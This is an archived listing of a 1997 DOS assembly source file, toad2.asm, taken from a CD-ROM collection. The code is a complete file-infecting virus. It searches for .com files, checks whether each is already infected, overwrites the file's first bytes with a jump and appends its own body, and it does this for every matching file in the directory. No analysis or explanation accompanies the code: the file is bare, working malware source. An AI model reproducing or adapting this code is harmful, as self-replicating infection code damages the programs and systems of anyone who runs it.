home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CODBRK2.ZIP / Codbrk2 / Cdbkutl / Create / toad2.asm < prev   
Encoding:
Assembly Source File  |  1997-12-08  |  2.2 KB  |  113 lines

  1. code segment
  2.        assume cs:code,ds:code
  3.        org 100h
  4.  
  5. start:
  6.     db 0e9h,0,0                       
  7.  
  8. toad:
  9.     call bounce
  10.  
  11. bounce:
  12.     pop  bp 
  13.     sub  bp,OFFSET bounce
  14.                
  15. first_three:
  16.     mov cx,3    
  17.     lea  si,[bp+OFFSET thrbyte] 
  18.     mov  di,100h
  19.         push di
  20.     rep movsb 
  21.                                         
  22. move_dta:    
  23.     lea  dx,[bp+OFFSET hide_dta] 
  24.     mov  ah,1ah 
  25.     int  21h                          
  26.    
  27. get_one:
  28.     mov  ah,4eh                       
  29.     lea  dx,[bp+comsig] 
  30.     mov  cx,7                         
  31.    
  32. next:   
  33.     int  21h
  34.         jnc  openit                       
  35.     jmp  bug_out                         
  36.  
  37. Openit:
  38.     mov  ax,3d02h 
  39.     lea  dx,[bp+OFFSET hide_dta+1eh] 
  40.     int  21h                          
  41.      xchg ax,bx
  42.  
  43. rec_thr:                         
  44.        mov  ah,3fh                       
  45.         lea  dx,[bp+thrbyte] 
  46.       mov  cx,3 
  47.         int  21h
  48.  
  49. infect_chk:
  50.     mov  ax,word ptr [bp+hide_dta+1ah] 
  51.     mov  cx,word ptr [bp+thrbyte+1] 
  52.     add  cx,horny_toad-toad+3             
  53.        cmp  ax,cx                        
  54.         jz   close_up
  55.  
  56. jmp_size:
  57.         sub  ax,3 
  58.         mov  word ptr [bp+newjump+1],ax
  59.  
  60.  
  61.  
  62. to_begin:
  63.         mov ax,4200h                     
  64.         xor cx,cx
  65.         xor dx,dx
  66.         int 21h
  67.     
  68. write_jump:
  69.         mov ah,40h                  
  70.         mov cx,3                     
  71.         lea dx,[bp+newjump]          
  72.         int 21h
  73.     
  74. to_end:
  75.         mov ax,4202h                 
  76.         xor cx,cx                    
  77.         xor dx,dx
  78.         int 21h
  79.     
  80. write_body:
  81.         mov ah,40h                   
  82.         mov cx,horny_toad-toad            
  83.         lea dx,[bp+toad]            
  84.         int 21h
  85.  
  86. close_up:
  87.         mov  ah,3eh 
  88.         int  21h                          
  89.  
  90. next_bug: 
  91.         mov  ah,4fh                       
  92.         jmp  next                         
  93.  
  94. bug_out:
  95.         mov  dx,80h
  96.         mov  ah,1ah 
  97.         int  21h                          
  98.         retn                              
  99.  
  100.     
  101. comsig db '*.com',0
  102. thrbyte db 0cdh,20h,0
  103. newjump db 0e9h,0,0
  104.    
  105. horny_toad label near 
  106.  
  107. hide_dta db 42 dup (?)
  108.    
  109. code    ENDS
  110.         END    start
  111.  
  112.  
  113.